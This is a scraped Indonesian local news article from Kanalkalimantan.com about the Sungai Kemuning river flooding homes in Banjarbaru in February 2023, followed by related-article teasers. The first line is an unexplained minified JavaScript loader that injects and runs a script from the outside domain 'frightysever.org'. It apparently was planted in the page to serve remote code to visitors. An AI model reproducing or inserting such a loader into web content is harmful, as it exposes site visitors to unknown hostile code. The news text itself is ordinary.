(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ketinggian permukaan air di Sungai Kemuning mulai mengalami penurunan, namun sebagian permukiman warga masih tergenang hingga pukul 20.00 Wita bertepatan waktu masuk shalat Isya, Rabu (22/2/2023) malam.
Salah satu rekanan Emergency An-Noor, Udin mengatakan air Sungai Kemuning sudah mengalami penurunan debit permukaan airnya.
“Ini keadaannya sudah di bawah bibir sungai,” ujarnya, Rabu (22/2/2023) malam, sekitar pukul 20.00 Wita.
Baca juga:Â BREAKING NEWS. Hujan Deras Guyur Banjarbaru, Sungai Kemuning Meluap
Dijelaskan Udin, air perlahan mulai surut, namun permukiman warga masih sebagian terendam, terutama rumah-rumah warga yang berada di sepanjang bantaran sungai.
“Untuk air ketinggiannya bervariasi,” sebutnya.
Dibeberkannya, pihaknya baru selesai mengevakuasi korban patah kaki yang terjebak banjir.
“Korban patah kaki sudah kami evakuasi,” bebernya.
Masih kata Udin, dirinya masih melakukan penyisiran ke permukiman warga, guna mengetahui apakah ada warga yang masih terjebak di lokasi banjir.
Hujan Deras Guyur Banjarbaru, Sungai Kemuning Meluap
Kota Banjarbaru diguyur hujan pada sore hingga masuk waktu Magrib, sekitar pukul 17.30 Wita hingga pukul 19.30 Wita. Akibat hujan dengan intensitas tinggi ini beberapa titik di ruas Jalan A Yani Kota Banjarbaru terendam air dan beberapa sungai meluap.
Seperti yang terjadi di Sungai Kemuning, air sudah meluap dan menggenangi perumahan warga hingga sepinggang orang dewasa.
Ketua RT 02 Kelurahan Kemuning, Norhayati mengatakan air sudah naik sejak pukul 18.30 Wita.
“Waktu adzan Maghrib mulai naik airnya genangi rumah warga,” ujarnya.
Dijelaskan Norhayati, air tersebut terus mengalami peningkatan debit air lantaran hujan belum juga reda.
Baca juga:Â Dokumen Kearsipan Dibikin Harus Sesuai Kaidah, Dispersip HSU Sosialisasi Perbup Pengelolaan Kearsipan
“Yang terdampak sekitar 60 kepala keluarga, sampai saat ini air terus naik,” katanya.
Hingga saat ini warga masih melakukan evakuasi dan mengamankan barang-barangnya dengan meletakkan ke tempat yang lebih tinggi.
“Kalau hujan reda, biasanya hitungan jam sudah surut,” tuntasnya.(Kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.